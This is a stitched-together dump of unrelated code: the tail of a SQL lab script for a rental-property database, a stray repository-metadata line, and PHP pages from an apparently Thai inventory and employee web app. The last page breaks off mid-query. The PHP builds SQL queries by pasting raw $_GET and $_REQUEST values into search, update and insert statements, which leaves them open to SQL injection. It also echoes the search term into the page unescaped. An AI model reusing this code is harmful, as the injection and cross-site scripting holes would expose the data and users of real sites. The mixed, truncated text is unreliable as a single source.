INSERT INTO tenantphone VALUES('T21','326-555-1284','M');
INSERT INTO tenantphone VALUES('T22','372-555-0384','M');
INSERT INTO tenantphone VALUES('T23','843-555-3027','M');
INSERT INTO tenantphone VALUES('T23','212-555-0674','H');
INSERT INTO tenantphone VALUES('T24','947-555-0384','M');
INSERT INTO tenantphone VALUES('T24','212-555-0085','H');
INSERT INTO tenantphone VALUES('T25','382-555-3221','M');
INSERT INTO tenantphone VALUES('T25','212-555-4038','H');
INSERT INTO tenantphone VALUES('T26','418-555-6748','M');
INSERT INTO tenantphone VALUES('T27','418-555-9744','M');
INSERT INTO tenantphone VALUES('T28','638-555-9853','M');
INSERT INTO leases VALUES ('B1',1,'T1','2016-06-01','2018-06-01');
INSERT INTO leases VALUES ('B1',2,'T2','2016-08-01','2018-08-01');
INSERT INTO leases VALUES ('B1',3,'T3','2009-03-01','2019-03-01');
INSERT INTO leases VALUES ('B1',4,'T3','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B1',4,'T4','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B2',1,'T5','2016-08-01','2018-08-01');
INSERT INTO leases VALUES ('B2',2,'T6','2015-05-01','2018-05-01');
INSERT INTO leases VALUES ('B2',3,'T7','2008-04-01','2019-04-01');
INSERT INTO leases VALUES ('B2',4,'T8','2015-02-01','2019-02-01');
INSERT INTO leases VALUES ('B2',5,'T9','2017-10-01','2018-10-01');
INSERT INTO leases VALUES ('B2',6,'T10','2016-07-01','2018-07-01');
INSERT INTO leases VALUES ('B2',7,'T11','2017-08-01','2018-08-01');
INSERT INTO leases VALUES ('B3',1,'T12','2010-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',2,'T13','2014-07-01','2018-07-01');
INSERT INTO leases VALUES ('B3',3,'T14','2015-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',4,'T15','2016-05-01','2018-05-01');
INSERT INTO leases VALUES ('B3',5,'T16','2015-09-01','2018-09-01');
INSERT INTO leases VALUES ('B3',6,'T17','2014-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',7,'T18','2015-07-01','2018-07-01');
INSERT INTO leases VALUES ('B4',1,'T19','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B4',2,'T20','2015-05-01','2018-05-01');
INSERT INTO leases VALUES ('B4',3,'T21','2017-10-01','2018-10-01');
INSERT INTO leases VALUES ('B4',4,'T22','2016-11-01','2018-11-01');
INSERT INTO leases VALUES ('B5',1,'T23','2018-03-01','2019-03-01');
INSERT INTO leases VALUES ('B5',2,'T24','2017-04-01','2019-04-01');
INSERT INTO leases VALUES ('B6',1,'T25','2017-05-01','2018-05-01');
INSERT INTO leases VALUES ('B6',2,'T26','2006-04-01','2019-04-01');
INSERT INTO leases VALUES ('B6',3,'T27','2017-01-01','2018-01-01');
INSERT INTO leases VALUES ('B6',4,'T28','2018-04-01','2019-04-01');
ALTER TABLE manager
ADD CONSTRAINT fkresidesin
FOREIGN KEY (MResBuildingID) REFERENCES building(BuildingID);
#Delete, Insert, Update Commands:
#Tenant T28, Chris, got a new job in Massachusetts and is moving out
DELETE FROM tenantphone WHERE TenantID = 'T28';
DELETE FROM leases WHERE TenantID = 'T28';
DELETE FROM tenant WHERE TenantID = 'T28';
#A new Tenant moves in to B6 Apt #4
INSERT INTO tenant VALUES ('T28','Sally','Stone','1980-11-13');
INSERT INTO tenantphone VALUES ('T28','653-555-0126','M');
INSERT INTO tenantphone VALUES ('T28','212-555-1818','H');
INSERT INTO leases VALUES ('B6',4,'T28','2018-05-01','2019-05-01');
#Hannah, T2, gets a family and friends discount on her rent and it is lowered to $2,000.00 a month
UPDATE apartment SET AptRentAmt = 2000.00 WHERE BuildingID = 'B1' AND AptNo = 2;
#Select and Group By Commands:
#DLZHP LLC is considering lowering rents by 5% and would like to see what each apartment would rent
#for when AptRentAmt is decreased by 5% compared to what they're currently renting for
SELECT BuildingID, AptNo, AptRentAmt, AptRentAmt*0.95 FROM apartment;
#DLZHP LLC would like to see how many numbers they have recorded for each type of phone: mobile and home
SELECT TPhoneType, COUNT(*) FROM tenantphone GROUP BY TPhoneType;
#Extra Query:
#JOIN/NESTED
#Tony wants to throw a tenant appreciation party for B3 and would like a list of tenants
#who live in B3 that includes their full name, phone numbers, and phone types
SELECT t.TenantID, t.TenantFName, t.TenantLName, tp.TenantPhone, tp.TPhoneType, l.BuildingID
FROM tenant t, tenantphone tp, leases l
WHERE t.TenantID = tp.tenantID AND t.tenantID = l.TenantID AND l.TenantID IN (SELECT TenantID FROM leases WHERE BuildingID = 'B3')
ORDER BY l.TenantID;
| d15493fb35489253b6001fa9c12b804262669860 | [
"SQL",
"Python"
] | 2 | Python | zpesce/MISM-3403-Database-Lab-Work | dba0aef679a45191314482a482be15224aa24ae0 | 455b05a885d7c251109e5ecc6544b4207d97b8e8 | |
refs/heads/main | <file_sep><?php
include('connection/phpconnect.php');
session_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE);
$search = (isset($_GET['search'])) ? $_GET['search'] : '';
$sql = "SELECT *
FROM `employee`
WHERE (`code` LIKE '%$search%')
OR (`name` LIKE '%$search%')
OR (`area` LIKE '%$search%')
OR (`position` LIKE '%$search%')
ORDER BY `id_employee` ASC;";
$result = mysqli_query($db, $sql);
$i = 1;
if (isset($_POST["export"])) {
$filename = "Export_excel.xls";
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"$filename\"");
$isPrintHeader = false;
if (! empty($result)) {
foreach ($result as $row) {
if (! $isPrintHeader) {
echo "Number","\t";
echo implode("\t",array_keys($row)) . "\n";
$isPrintHeader = true;
}
echo $i,"\t"; $i++;
echo implode("\t", array_values($row)) . "\n";
}
}
exit();
}
if($_SESSION['username'] == ""){
echo "<script type='text/javascript'>";
echo "window.location = 'index.php'; ";
echo "</script>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags-->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="au theme template">
<meta name="author" content="<NAME>">
<meta name="keywords" content="au theme template">
<!-- Title Page-->
<title>Show Employee</title>
<!-- Fontfaces CSS-->
<link href="css/font-face.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-4.7/css/font-awesome.min.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">
<link href="vendor/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">
<!-- Bootstrap CSS-->
<link href="vendor/bootstrap-4.1/bootstrap.min.css" rel="stylesheet" media="all">
<!-- Vendor CSS-->
<link href="vendor/animsition/animsition.min.css" rel="stylesheet" media="all">
<link href="vendor/bootstrap-progressbar/bootstrap-progressbar-3.3.4.min.css" rel="stylesheet" media="all">
<link href="vendor/wow/animate.css" rel="stylesheet" media="all">
<link href="vendor/css-hamburgers/hamburgers.min.css" rel="stylesheet" media="all">
<link href="vendor/slick/slick.css" rel="stylesheet" media="all">
<link href="vendor/select2/select2.min.css" rel="stylesheet" media="all">
<link href="vendor/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">
<!-- Main CSS-->
<link href="css/theme.css" rel="stylesheet" media="all">
</head>
<body class="animsition">
<div class="page-wrapper">
<!-- HEADER DESKTOP-->
<header class="header-desktop3 d-none d-lg-block">
<div class="section__content section__content--p35">
<div class="header3-wrap">
<div class="header__logo">
<a href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
</div>
<div class="header__navbar">
<ul class="list-unstyled">
<li>
<a href="index.php">
<i class="fas fa-chart-bar"></i>
<span class="bot-line"></span>Home</a>
</li>
<li>
<a href="form_wr.php">
<i class="fas fa-shopping-basket"></i>
<span class="bot-line"></span>Withdraw Return</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a href="#">
<i class="fas fa-copy"></i>
<span class="bot-line"></span>Pages</a>
<ul class="header3-sub-list list-unstyled">
<li>
<a href="form_mat.php">
<i class="fas fa-barcode"></i>Add new MAT</a>
</li>
<li>
<a href="form_store.php">
<i class="fas fa-warehouse"></i>Update location</a>
</li>
</ul>
</li>
<?php
}
?>
</li>
</ul>
</div>
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a class="js-acc-btn" href="#">User</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<div class="account-dropdown__body">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
<div class="account-dropdown__item">
<a href="#">
<i class="zmdi zmdi-settings"></i>Setting</a>
</div>
<?php
}
?>
</div>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<!-- END HEADER DESKTOP-->
<!-- HEADER MOBILE-->
<header class="header-mobile header-mobile-2 d-block d-lg-none">
<div class="header-mobile__bar">
<div class="container-fluid">
<div class="header-mobile-inner">
<a class="logo" href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
<button class="hamburger hamburger--slider" type="button">
<span class="hamburger-box">
<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
</div>
<nav class="navbar-mobile">
<div class="container-fluid">
<ul class="navbar-mobile__list list-unstyled">
<li>
<a href="index.php">
<i class="fas fa-chart-bar"></i>Home</a>
</li>
<li>
<a href="form_wr.php">
<i class="fas fa-shopping-basket"></i>Withdraw Return</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-copy"></i>Pages</a>
<ul class="navbar-mobile-sub__list list-unstyled js-sub-list">
<li>
<a href="form_mat.php">
<i class="fas fa-barcode"></i>Add new MAT</a>
</li>
<li>
<a href="form_store.php">
<i class="fas fa-warehouse"></i>Update location</a>
</li>
</ul>
</li>
<?php
}
?>
</ul>
</div>
</nav>
</header>
<div class="sub-header-mobile-2 d-block d-lg-none">
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a class="js-acc-btn" href="#">User</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<div class="account-dropdown__body">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
<?php
}
?>
<div class="account-dropdown__item">
<a href="#">
<i class="zmdi zmdi-settings"></i>Setting</a>
</div>
</div>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END HEADER MOBILE -->
<!-- PAGE CONTENT-->
<div class="page-content--bgf7">
<!-- BREADCRUMB-->
<section class="au-breadcrumb2">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="au-breadcrumb-content">
<div class="au-breadcrumb-left">
<span class="au-breadcrumb-span">You are here:</span>
<ul class="list-unstyled list-inline au-breadcrumb__list">
<li class="list-inline-item active">
<a href="#">Show Employee</a>
</li>
<li class="list-inline-item seprate">
<span>/</span>
</li>
<li class="list-inline-item">
<?php
if(isset($_GET['search']))
{
?>
<b><?php echo ($search); ?></b>
<?php
}
?>
</li>
</ul>
</div>
<form method="request" class="form-header" action="search.php">
<input id="search" class="au-input au-input--xl" type="text" name="search" placeholder="กดปุ่มเพื่อแสดงข้อมูลอุปกรณ์ หรือกรอกคำค้นหา" size="control"/>
<button class="au-btn--submit" type="submit" name="submit">
<i class="zmdi zmdi-search"></i>
</button>
</form>
</div>
</div>
</div>
</div>
</section>
<!-- END BREADCRUMB-->
<!-- WELCOME-->
<section class="welcome p-t-10">
<div class="container">
<form method="POST">
<div class="row">
<div class="col-md-12">
<div class="overview-wrap">
<h2 class="title-1">ข้อมูลพนักงาน</h2>
</div>
<hr class="line-seprate">
</div>
</div>
</form>
</div>
</section>
<!-- END WELCOME-->
<!--แสดงข้อมูล-->
<section class="p-t-20 p-b-20">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="row">
<div class="col-lg-8 offset-md-2">
<div class="overview-wrap">
<div class="overview-wrap">
<?php
if(isset($_GET['search']))
{
?>
<font color="blue"><?php echo ($search); ?></font>
<?php
}
?>
พบผลลัพธ์ <b>
<?php
$count="SELECT COUNT(`employee`.`id_employee`) AS `id_employee` FROM `employee`
WHERE (`id_employee` LIKE '%$search%')
OR (`code` LIKE '%$search%')
OR (`name` LIKE '%$search%')
OR (`area` LIKE '%$search%')
OR (`position` LIKE '%$search%')";
$resultcount=$db->query($count);
while($row=$resultcount->fetch_object())
{
?>
<option value="<?php echo $row->id_employee;?>">
<?php echo $row->id_employee;?>
</option>
<?php
}
?>
</b> รายการ
</div>
<form method="request" class="form-header" action="show_emp.php">
<input id="search" class="au-input au-input--xl" type="text" name="search" placeholder="กดปุ่มเพื่อแสดงข้อมูลอุปกรณ์ หรือกรอกคำค้นหา" size="control"/>
<button class="au-btn--submit" type="submit" name="submit">
<i class="zmdi zmdi-search"></i>
</button>
</form>
<div class="btn">
<form action="" method="POST">
<button type="submit" name="export" id="btnExport" value="Export" class="au-btn au-btn-icon au-btn--blue">
<i class="fa fa-file-excel-o"></i>Export</button>
</form>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<div class="table-responsive table--no-card">
<?php
echo "<table id='tap' class='table table-borderless table-striped table-earning'>";
echo "<tr>
<thead align='center'>
<th>code</th>
<th>name</th>
<th>area</th>
<th>position</th>";
if($_SESSION['username'] == !""){
echo"<th>แก้ไข</th>
<th>ลบ</th>";
}
echo"</thead>
</tr>";
while($row = mysqli_fetch_array($result)) {
echo "<tr><tbody align='center'>";
echo "<td>" .$row["code"] . "</td> ";
echo "<td>" .$row["name"] . "</td> ";
echo "<td>" .$row["area"] . "</td> ";
echo "<td>" .$row["position"] . "</td> ";
//แก้ไขข้อมูลส่่ง member_id ที่จะแก้ไขไปที่ฟอร์ม
if($_SESSION['username'] == !""){
echo "<td><a href='form_update_emp.php?id_employee=$row[0]'><button class='btn btn-warning'>edit</button></a></td> ";
//ลบข้อมูล
echo "<td><a href='action/delete_emp.php?id_employee=$row[0]' onclick=\"return confirm('Do you want to delete this record? !!!')\"><button class='btn btn-danger'>del</button></a></td> ";
}
echo "</tbody></tr>";
}
echo "</table>";
//5. close connection
mysqli_close($db);
?>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- COPYRIGHT-->
<section class="p-t-60 p-b-20">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="copyright">
<p>Copyright © 2020</a>.</p>
</div>
</div>
</div>
</div>
</section>
<!-- END COPYRIGHT-->
</div>
</div>
<!-- Jquery JS-->
<script src="vendor/jquery-3.2.1.min.js"></script>
<!-- Bootstrap JS-->
<script src="vendor/bootstrap-4.1/popper.min.js"></script>
<script src="vendor/bootstrap-4.1/bootstrap.min.js"></script>
<!-- Vendor JS -->
<script src="vendor/slick/slick.min.js">
</script>
<script src="vendor/wow/wow.min.js"></script>
<script src="vendor/animsition/animsition.min.js"></script>
<script src="vendor/bootstrap-progressbar/bootstrap-progressbar.min.js">
</script>
<script src="vendor/counter-up/jquery.waypoints.min.js"></script>
<script src="vendor/counter-up/jquery.counterup.min.js">
</script>
<script src="vendor/circle-progress/circle-progress.min.js"></script>
<script src="vendor/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="vendor/chartjs/Chart.bundle.min.js"></script>
<script src="vendor/select2/select2.min.js">
</script>
<!-- Main JS-->
<script src="js/main.js"></script>
</body>
</html>
<!-- end document-->
<file_sep><?php
date_default_timezone_set("Asia/Bangkok");
include("../connection/phpconnect.php");
error_reporting(E_ERROR | E_WARNING | E_PARSE);
$num_lo = $_REQUEST['num_lo'];
$id_shelf = $_REQUEST['id_shelf'];
$id_store = $_REQUEST['id_store'];
$time = date("ymdHis");
$no = "$id_store$time";
$id_mat = $_REQUEST['id_mat'];
$id_emp = $_REQUEST['id_emp'];
$action = $_REQUEST['action'];
$amount = $_REQUEST['amount'];
$date = date("Y-m-d");
$call="SELECT * FROM `process_log` WHERE `no` = $no;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
if($action=='withdraw'){
$amlo = "SELECT * FROM `location` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$reamlo = mysqli_query($db, $amlo);
if($reamlo->num_rows==1){
while($row=$reamlo->fetch_object()){
$echo = $row->amount;
$del = $echo - $amount;
if($echo < $amount){
echo "<script type='text/javascript'>";
echo "alert('อุปกรณ์มีไม่เพียงพอ');";
echo "window.history.back()";
echo "</script>";
}
else{
if($del == 0){
$sqldel = "DELETE FROM `location` WHERE `num_lo` = '$num_lo'";
$delete = mysqli_query($db, $sqldel);
}
else{
$sqlup = "UPDATE
`location`
SET
`amount` = `amount` - '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$ubdate = mysqli_query($db, $sqlup);
}
$sql="INSERT INTO `process_log` (`no`, `id_mat`, `id_emp`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_emp','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_show_location.php'; ";
echo "</script>";
echo $amount,"<br>";
echo $echo,"<br>";
echo $del,"<br>";
echo $zero;
}
}
}
if($reamlo->num_rows==0){
echo "<script type='text/javascript'>";
echo "alert('ไม่พบข้อมูล กรุณาทำรายการอีกครั้ง');";
echo "window.history.back()";
echo "</script>";
}
}
if($action=='return'){
$amlof = "SELECT * FROM `location_fail` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store'";
$reamlof = mysqli_query($db, $amlof);
if($reamlof->num_rows==1){
$sqlup = "UPDATE
`location_fail`
SET
`amount` = `amount` + '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$update = mysqli_query($db, $sqlup);
}
if($reamlof->num_rows==0){
$sqllof="INSERT INTO `location_fail` (`id_mat`, `id_store`, `id_shelf`, `amount`)
VALUES ('$id_mat','$id_store','$id_shelf','$amount')";
$insert1 = mysqli_query($db, $sqllof);
}
$sql="INSERT INTO `process_log` (`no`, `id_mat`, `id_emp`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_emp','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_show_location_fail.php'; ";
echo "</script>";
}
if($action=='deposited'){
$amlo = "SELECT * FROM `location` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$reamlo = mysqli_query($db, $amlo);
if($reamlo->num_rows==1){
$sqlup = "UPDATE
`location`
SET
`amount` = `amount` + '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$update = mysqli_query($db, $sqlup);
}
if($reamlo->num_rows==0){
$sqllo="INSERT INTO `location` (`id_mat`, `id_store`, `id_shelf`, `amount`)
VALUES ('$id_mat','$id_store','$id_shelf','$amount')";
$insert1 = mysqli_query($db, $sqllo);
}
$sql="INSERT INTO `process_log` (`no`, `id_mat`, `id_emp`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_emp','$action','$amount','$date')";
$insert = mysqli_query($db, $sql);
//echo $sql;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
echo "window.location = '../form_show_location.php'; ";
echo "</script>";
}
}else
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถทำรายการได้');";
echo "window.history.back()";
echo "</script>";
}
?><file_sep><?php
include('connection/phpconnect.php');
session_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE);
//$action = $_REQUEST['action'];
if (isset($_REQUEST['action'])) {
$action = $_REQUEST['action'];
} else {
$action = 'all';
}
$day = date("Y-m-d");
$month = date("Y-m");
$search = (isset($_GET['search'])) ? $_GET['search'] : '';
$perpage = 10;
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = 1;
}
$start = ($page - 1) * $perpage;
if($action=='today'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`amount` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`amount` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='todayd'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`amount` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'deposited') and (`amount` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='todayw'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`amount` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'withdraw') and (`amount` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='todayr'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`amount` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') and (`action` LIKE 'return') and (`amount` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='thismonth'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`amount` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`amount` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='thismonthd'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`amount` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'deposited') and (`amount` LIKE '%$search%')) ORDER BY date;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='thismonthw'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`amount` LIKE '%$search%')) ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'withdraw') and (`amount` LIKE '%$search%')) ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='thismonthr'){
$sqls = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`amount` LIKE '%$search%'))ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') and (`action` LIKE 'return') and (`amount` LIKE '%$search%'))ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
else if($action=='all'){
$sqls = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$search%')
OR (`id_mat` LIKE '%$search%')
OR (`no` LIKE '%$search%')
